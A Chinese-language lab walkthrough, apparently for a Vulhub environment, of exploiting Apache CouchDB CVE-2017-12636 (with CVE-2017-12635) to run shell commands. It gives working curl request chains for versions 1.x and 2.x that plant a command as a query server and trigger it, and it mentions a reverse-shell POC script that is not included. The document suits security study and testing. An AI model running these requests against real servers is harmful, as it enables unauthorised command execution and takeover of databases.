Apache Couchdb 任意命令执行 (CVE-2017-12636)

Apache Couchdb 任意命令执行 (CVE-2017-12636)

Apache CouchDB 是一个开源的面向文档的 NoSQL 数据库,用 Erlang 实现。CouchDB 使用多种格式和协议来存储、传输和处理其数据。它使用 JSON 来存储数据,使用 MapReduce 作为其查询语言的 JavaScript,以及作为 API 的 HTTP。

CouchDB 管理用户可以通过 HTTP(S) 配置数据库服务器。一些配置选项包括随后由 CouchDB 启动的操作系统级二进制文件的路径。这允许 1.7.0 之前的 Apache CouchDB 和 2.1.1 之前的 2.x 中的管理员用户作为 CouchDB 用户执行任意 shell 命令,包括从公共互联网下载和执行脚本。

结合CVE-2017-12635和 CVE-2017-12636 以获得未经身份验证的远程命令执行。

利用

CVE-2017-12636是认证后RCE,所以如果不知道目标管理员密码,可以先使用CVE-2017-12635添加管理员用户。Couchdb 2.x 和 1.x 的 API 接口有所不同,因此该漏洞的利用方式不同。

在 1.x 下利用

依次执行以下请求,触发任意命令执行。

1
2
3
4
curl -X PUT 'http://vulhub:vulhub@192.168.44.132:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@192.168.44.132:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@192.168.44.132:5984/vultest/vul' -d '{"_id": "770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@192.168.44.132:5984/vultest/_temp_view?limit=10' -d '{"language": "cmd", "map":""}' -H 'Content-Type: application/json'

在这里,vulhub:vulhub是管理员帐户和密码。

第一个请求是添加一个带有 name和 value的query_servers,这是我们稍后要执行的命令。cmd``"id >/tmp/success"

image-20210702152415688

第二个和第三个请求是添加数据库和文档,这里添加后才能查询。

image-20210702152555774

第四个请求是在这个Database做一个查询,使用我在第一步添加的一个名为query_servers的cmd,最后触发命令执行。

image-20210702152700444

可以看到success文件生成,证明利用成功

image-20210702153011827

在 2.x 下利用

Couchdb 2.x 引入了集群,浏览器/_membership获取节点列表。

1
curl http://vulhub:vulhub@192.168.44.132:5984/_membership

image-20210702154715987

只有一个节点,名称为nonode@nohost,然后修改node的配置nonode@nohost如下。

1
curl -X PUT http://vulhub:vulhub@192.168.44.132:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'

image-20210702155029361

然后,以与 1.6.0 漏洞相同的方式:

1
2
curl -X PUT 'http://vulhub:vulhub@192.168.44.132:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@192.168.44.132:5984/vultest/vul' -d '{"_id": "770895a97726d5ca6d70a22173005c7b"}'

Couchdb 2.x 已移除_temp_view,因此我们需要添加一个_view以触发 中定义的命令query_servers

1
curl -X PUT http://vulhub:vulhub@192.168.44.132:5984/vultest/_design/vul -d '{"_id":"_design/test", "views":{"woyun":{"map":""} }," language": "cmd"}' -H "Content-Type: application/json"

然后query_servers将执行输入的命令。

POC 脚本

一个简单的POC exp.py,将脚本里面的target和command修改为你的test target,然后将版本修改为对应的Couchdb版本(1或2),成功得到反向shell。

0%